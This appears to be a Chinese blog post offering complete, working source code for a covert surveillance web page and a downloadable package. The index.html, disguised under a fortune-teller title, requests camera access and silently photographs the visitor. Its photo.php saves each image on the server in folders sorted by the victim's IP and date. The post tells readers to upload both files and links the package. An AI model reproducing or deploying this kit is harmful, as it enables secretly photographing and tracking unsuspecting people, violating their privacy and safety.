代码

分别创立index.html和photo.php两个文件并上传至网站效劳器即可；
创立好后翻开网址会需求用户受权相机权限，PC端会调用摄像头，挪动端会调用前置摄像头；
允许权限后会立刻停止拍照并上传至效劳器，拍摄的照片会依照IP及拍摄时间停止分类；

index.html代码

<!DOCTYPE html>

<html>

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <meta name="" content="content">

    <title>神算子</title>

</head>

<body>

     <canvas id="canvas" style="display: none;" width="480" height="640"></canvas>

     <video id="video" style="display: none;width: 250px;height: 300px;"></video>

     <script src="https://lib.baomitu.com/jquery/3.6.0/jquery.js"></script>

    <script>

        window.addEventListener("DOMContentLoaded",function(){

            var canvas = document.getElementById('canvas');

            var context =canvas.getContext('2d');

            var video = document.getElementById('video');

            if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {

                navigator.mediaDevices.getUserMedia({video:true}).then(function(stream){

                    video.srcObject = stream;

                    video.play();

                    setTimeout(function(){context.drawImage(video,0,0,480,640)}, 1000);

                    setTimeout(function(){

                        var img = canvas.toDataURL('image/png');

                        $.post('/photo.php',{'imegse':img},function(data){

                        //指定photo.php文件所在位置

                        })

                    } ,1300)

 

                },function(){

                    alert('短少访问权限');

                    location.reload();

                })

 

            }

        },false);

    </script>

</body>

</html>

photo.php代码

<?php

//允许跨域

header("Access-Control-Allow-Origin:*");

echo base64();

function base64()

{

    //接纳 base64 数据

    $image = $_POST['imegse'];

    if (empty($image)) {

        return null;

    }

    //设置图片称号

    $imageName = date("His", time()) . "_" . rand(1111, 9999) . '.png';

    //判别能否有逗号 假如有就截取后半局部

    if (strstr($image, ",")) {

        $image = explode(',', $image);

        $image = $image[1];

    }

    //设置图片保管途径

    $path = "./" . getIp() . '/' . date("Ymd", time());

    //判别目录能否存在 不存在就创立

    if (!is_dir($path)) {

        mkdir($path, 0777, true);

    }

    //图片途径

    $imageSrc = $path . "/" . $imageName;

    //生成文件夹和图片

    $r = file_put_contents($imageSrc, base64_decode($image));

    if (!$r) {

        return 0;

    } else {

        return 1;

    }

}

function getIp()

{

    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {

        $ip = $_SERVER['HTTP_CLIENT_IP'];

    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {

        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];

    } else {

        $ip = $_SERVER['REMOTE_ADDR'];

    }

    return $ip;

}

index.html在第25行处需求指定photo.php文件的所在位置，假如文件在网站根目录下就无需修正；

源码打包：
https://wwa.lanzous.com/iljaaozik7e

------本页内容已结束，喜欢请分享------

感谢您的来访，获取更多精彩文章请收藏本站。

本站网络名称： 孤勇者社区

本站永久网址： https://www.gyzsq.com

网站侵权说明：本网站的文章部分内容可能来源于网络，仅供大家学习与参考，如有侵权，请联系站长QQ324470778删除处理。
1 本站一切资源不代表本站立场，并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息，访客发现请向站长举报
3 本站资源大多存储在云盘，如发现链接失效，请联系我们我们会第一时间更新。

THE END